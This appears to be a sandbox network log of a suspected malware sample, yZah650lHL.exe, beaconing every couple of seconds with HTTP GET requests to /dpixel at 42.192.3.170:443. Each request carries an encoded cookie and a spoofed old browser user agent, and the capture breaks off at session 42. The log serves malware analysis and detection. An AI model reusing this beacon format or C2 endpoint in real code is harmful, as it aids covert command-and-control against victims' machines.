Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:17 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:18 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:17 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:19 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:19 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:19 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:21 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:21 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:21 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:23 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:23 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:23 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:24 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:25 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:25 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:26 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:27 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:27 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:28 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:29 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:29 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:30 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:31 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:31 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:32 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:33 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:34 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:35 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:34 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:36 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:36 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:36 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:38 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:39 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:40 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:41 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:40 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:42 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:42 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:42 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:44 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:44 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:44 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:46 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:46 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:46 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:48 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:48 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:48 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:50 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:50 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:50 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:51 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:52 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:52 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49767	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:53 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:54 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:54 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49769	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:55 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:56 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:56 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49780	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:57 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:58 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:57 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49794	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:59 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:59 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:59 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49807	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:01 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:01 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:01 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49819	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:03 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:03 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:03 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49832	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:05 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:05 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:05 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49844	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:06 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:07 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:07 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49856	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:09 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:09 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:09 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49865	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:10 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:11 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:11 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49879	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:12 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:13 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:13 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49892	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:53:14 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:53:15 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:53:14 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49905	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
